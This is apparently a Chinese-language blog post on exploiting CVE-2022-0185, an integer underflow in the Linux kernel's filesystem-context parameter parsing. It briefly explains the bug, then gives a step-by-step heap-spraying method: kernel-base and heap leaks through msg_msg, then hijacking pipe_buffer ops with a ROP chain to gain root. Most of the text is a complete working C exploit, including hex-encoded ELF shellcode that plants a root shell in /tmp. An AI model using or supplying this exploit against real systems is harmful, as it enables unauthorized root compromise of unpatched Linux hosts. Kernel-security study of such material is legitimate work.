这是一个关于整型溢出的CVE。
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {
struct legacy_fs_context *ctx = fc->fs_private; // [1] ctx 与文件描述符相关
unsigned int size = ctx->data_size; // [2] size —— 目前已经写入 buffer 的长度
size_t len = 0;
int ret;
[ ... ]
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size; // [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=value
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);
}
if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出
[ ... ]
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); // [5] 首次分配 4096 字节缓冲区
if (!ctx->legacy_data) return -ENOMEM;
}
ctx->legacy_data[size++] = ','; // [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的size
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
这是触发漏洞的函数,size每次都增加,会在 page_size-size-2发生溢出,由于size是unsigned类型,会下溢成一个极大数。
具体介绍可以看【kernel exploit】CVE-2022-0185 File System Context 整数溢出漏洞利用 — bsauce
本文主要介绍提权方法。
step1
泄露kbase。其实很明显,覆盖msg_msg->m_ts泄露stat,或者tty什么的也可以,一个kmalloc-4k的slab有8个object,为了防止一开始object布局乱起八糟的,我采用先分配8个msg_msg,再分配victim object,再分配8个msg_msg来泄露基址,覆盖的成功率很高,只是kmalloc-32的下一个不一定是stat,这一步成功的概率大概1/2。
当然,也和我固定取leak[510]有关,采用搜索的方法成功率应该解决100%。
printf("[+] STEP1-------------------------------[+]\n");
for(;i<7;i++){
qu[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qu[i],buf,4060,1);
}
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
printf("[+] start to spray stat!!!\n");
i=0;
for(;i<0x100;i++){
stat[i]=open("/proc/self/stat",0);
}
//1+21+1+1=24
pat[21]='\x00';
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=7;
for(;i<20;i++){
qu[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qu[i],buf,4060,1);
}
char* m_ts="\x60\x10\x00";
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);
//m_ts=0x2050
i=0;
for(;i<20;i++){
memset(leak,0,10000);
res=peek_msg(qu[i],leak,0x1060,0);
if(res<0)err_exit("peek_msg");
if(res==0x1060){
kbase=leak[510]-0x1336770;
break;
}
}
//sleep(10);
if(kbase==0||(kbase&0xfff)!=0){
printf("[-] leak kbase false!!!\n");
exit(0);
}
printf("[+] kbase:%lx;\n",kbase);
step2
这一步是泄露堆地址,因为我采用打pipe_buffer的方法,需要已知地址布置fake_ops。本CVE貌似开启了harden freelist,所以采用泄露msg_msg->next的方法来获取堆地址,构造kmalloc-1k-->kmalloc-64-->kmalloc-512的格局进行堆喷,泄露kmalloc-64上的msg_msg的next指针,其实只构造kmalloc-64-->kmalloc-512就可以了.......
printf("[+] STEP2-------------------------------[+]\n");
i=0;
for(;i<8;i++){
qr[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qr[i],buf,4080,1);
}
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
pat[21]='\x00';
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=8;
for(;i<16;i++){
qr[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qr[i],buf,4080,1);
}
char* evn="\x50\x16\x00";
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);
printf("[+] start to spray heap_addr!!!\n");
spray_msg();
memset(leak,0,8000);
i=0;
for(;i<16;i++){
res=peek_msg(qr[i],leak,0x1650,0);
if(res<0)perror("peek_msg");
if(res==0x1650){
int j=0;
for(;j<1000;j++){
if(leak[j]==10){
pipe_ff=leak[j-2];
gadget=leak[j-3]+0x30;
break;
}
}
break;
}
}
if(pipe_ff==0){
printf("[-] leak heap_addr false!!!\n");
exit(0);
}
printf("[+] pipe_ff:%lx;\n",pipe_ff);
printf("[+] gadget:%lx;\n",gadget);
很明显,我们要在kmalloc-512上布置fake_ops,当然,我采用pt_regs的方法,所以其实就是堆喷`add rsp`这个gadget就可以了。
step3
到提权了,我看原有exp貌似将msg_msg->next执行pipe_buffer-0x30来构造UAF,但感觉将msg_msg前两个指针搞烂了,应该容易报错,也没细看它是怎么绕过的。但其实我们能修改pipe_buffer大小,细节可以看我前一篇文章,我将pipe_buffer修改为kmalloc-4k,然后覆盖ops为之前泄露的kmalloc-512+0x30就好了,用msg_msg在kmalloc-512堆喷gadget。
printf("[+] STEP3-------------------------------[+]\n");
printf("[+] start to spray pipe_buffer!!!\n");
i=0;
for(;i<30;i++)pipe(pipe_fd[i]);
i=0;
for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=10;
for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
char value[40];
memset(value,0x41,40);
memcpy(value+15,&gadget,8);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);
printf("[+] STEP4-------------------------------[+]\n");
printf("[+] start to spray gadgets!!!\n");
close_msg();
pop_rdi=kbase+0x10475ed;
commit_creds=kbase+0x10c9f00;
init_cred=kbase+0x286b7a0;
add_rsp=kbase+0x18abf50;
restore=kbase+0x1e00fb8;
spray_gadget();
printf("[+] start to hijack control flow!!!\n");
i=0;
for(;i<30;i++){
close(pipe_fd[i][0]);
__asm__(
"mov r15,pop_rdi;"
"mov r14,init_cred;"
"mov r13,commit_creds;"
"mov r12,restore;"
"mov rbp,0xdeadbeef;"
"mov rbx,0xdeadbeef;"
"mov r11,0xdeadbeef;"
"mov r10,0xdeadbeef;"
"mov r9,0xdeadbeef;"
"mov r8,0xdeadbeef"
);
close(pipe_fd[i][1]);
}
get_shell();
return 0;
problem
现在问题是,执行无论system('/bin/sh'),execve('/bin/sh',0,0)还是signal注册一下,都会造成segment fault,不能长久uid==0。
其实改成system('cat /flag')能将flag读出来。
void get_flag_file(){
unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
FILE *fp;
fp = fopen("/tmp/w", "wb");
if (fp == NULL) {
perror("fopen");
return -1;
}
if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
perror("fwrite");
return -1;
}
fclose(fp);
system("chmod +x /tmp/w");
return;
}
最后只能execve('/tmp/w',0,0),然后自己去执行/tmp/sh,能够让uid==0。
以下是完整exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
struct list_head {
uint64_t next;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg {
uint64_t next;
};
/*
struct msgbuf {
long mtype;
char mtext[0];
};
*/
int get_msg_queue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}
/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
unshare(CLONE_NEWNS|CLONE_NEWUSER);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
void get_flag_file(){
unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
FILE *fp;
fp = fopen("/tmp/w", "wb");
if (fp == NULL) {
perror("fopen");
return -1;
}
if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
perror("fwrite");
return -1;
}
fclose(fp);
system("chmod +x /tmp/w");
return;
}
char* sh="/bin/sh";
void get_shell(){
if(getuid()==0){
printf("[+] success!!!\n");
execve("/tmp/w",NULL,NULL);
}
else{
printf("[-] something wrong");
}
}
int kk[100];
void spray_msg(){
char buf[10000];
int j=0;
for(;j<100;j++){
kk[j]=get_msg_queue();
write_msg(kk[j],buf,800,1);
write_msg(kk[j],buf,10,2);
write_msg(kk[j],buf,400,3);
}
printf("[+] 1k-->64-->512 constructed!!!\n");
}
void close_msg(){
char buf[10000];
int j=0;
for(;j<100;j++){
read_msg(kk[j],buf,800,1);
read_msg(kk[j],buf,10,2);
read_msg(kk[j],buf,400,3);
}
printf("[+] msg_msg has been closed\n");
}
int fd;
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;
size_t buf[0x500];
size_t kbase=0;
size_t pipe_ff=0;
size_t gadget=0;
int stat[0x100];
char pat[300]={0};
int qu[20];
int qr[16];
int res;
int i=0;
size_t leak[2000];
int pipe_fd[30][2];
void spray_gadget(){
int gt[4096];
size_t cover[56];
int j=0;
for(;j<56;j++)cover[j]=add_rsp;
int i=0;
for(;i<4096;i++){
gt[i]=get_msg_queue();
write_msg(gt[i],cover,400,1);
}
return;
}
int main(){
get_flag_file();
signal(SIGSEGV,get_shell);
bind_core(0);
save_status();
unshare_setup(getuid(), getgid());
printf("[+] STEP1-------------------------------[+]\n");
for(;i<7;i++){
qu[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qu[i],buf,4060,1);
}
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
printf("[+] start to spray stat!!!\n");
i=0;
for(;i<0x100;i++){
stat[i]=open("/proc/self/stat",0);
}
//1+21+1+1=24
pat[21]='\x00';
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=7;
for(;i<20;i++){
qu[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qu[i],buf,4060,1);
}
char* m_ts="\x60\x10\x00";
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);
//m_ts=0x2050
i=0;
for(;i<20;i++){
memset(leak,0,10000);
res=peek_msg(qu[i],leak,0x1060,0);
if(res<0)err_exit("peek_msg");
if(res==0x1060){
kbase=leak[510]-0x1336770;
break;
}
}
//sleep(10);
if(kbase==0||(kbase&0xfff)!=0){
printf("[-] leak kbase false!!!\n");
exit(0);
}
printf("[+] kbase:%lx;\n",kbase);
printf("[+] STEP2-------------------------------[+]\n");
i=0;
for(;i<8;i++){
qr[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qr[i],buf,4080,1);
}
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
pat[21]='\x00';
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=8;
for(;i<16;i++){
qr[i]=get_msg_queue();
buf[5]=i+1;
write_msg(qr[i],buf,4080,1);
}
char* evn="\x50\x16\x00";
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);
printf("[+] start to spray heap_addr!!!\n");
spray_msg();
memset(leak,0,8000);
i=0;
for(;i<16;i++){
res=peek_msg(qr[i],leak,0x1650,0);
if(res<0)perror("peek_msg");
if(res==0x1650){
int j=0;
for(;j<1000;j++){
if(leak[j]==10){
pipe_ff=leak[j-2];
gadget=leak[j-3]+0x30;
break;
}
}
break;
}
}
if(pipe_ff==0){
printf("[-] leak heap_addr false!!!\n");
exit(0);
}
printf("[+] pipe_ff:%lx;\n",pipe_ff);
printf("[+] gadget:%lx;\n",gadget);
printf("[+] STEP3-------------------------------[+]\n");
printf("[+] start to spray pipe_buffer!!!\n");
i=0;
for(;i<30;i++)pipe(pipe_fd[i]);
i=0;
for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
fd = fsopen("ext4", 0);
if(fd<0)err_exit("open ext4");
printf("[+] start to overflow!!!\n");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
i=0;
for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
i=10;
for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);
char value[40];
memset(value,0x41,40);
memcpy(value+15,&gadget,8);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);
printf("[+] STEP4-------------------------------[+]\n");
printf("[+] start to spray gadgets!!!\n");
close_msg();
pop_rdi=kbase+0x10475ed;
commit_creds=kbase+0x10c9f00;
init_cred=kbase+0x286b7a0;
add_rsp=kbase+0x18abf50;
restore=kbase+0x1e00fb8;
spray_gadget();
printf("[+] start to hijack control flow!!!\n");
i=0;
for(;i<30;i++){
close(pipe_fd[i][0]);
__asm__(
"mov r15,pop_rdi;"
"mov r14,init_cred;"
"mov r13,commit_creds;"
"mov r12,restore;"
"mov rbp,0xdeadbeef;"
"mov rbx,0xdeadbeef;"
"mov r11,0xdeadbeef;"
"mov r10,0xdeadbeef;"
"mov r9,0xdeadbeef;"
"mov r8,0xdeadbeef"
);
close(pipe_fd[i][1]);
}
get_shell();
return 0;
}
标签:0185,0xc7,0x00,0x01,msg,2022,0x48,CVE,size From: https://blog.csdn.net/A13837377363/article/details/143420895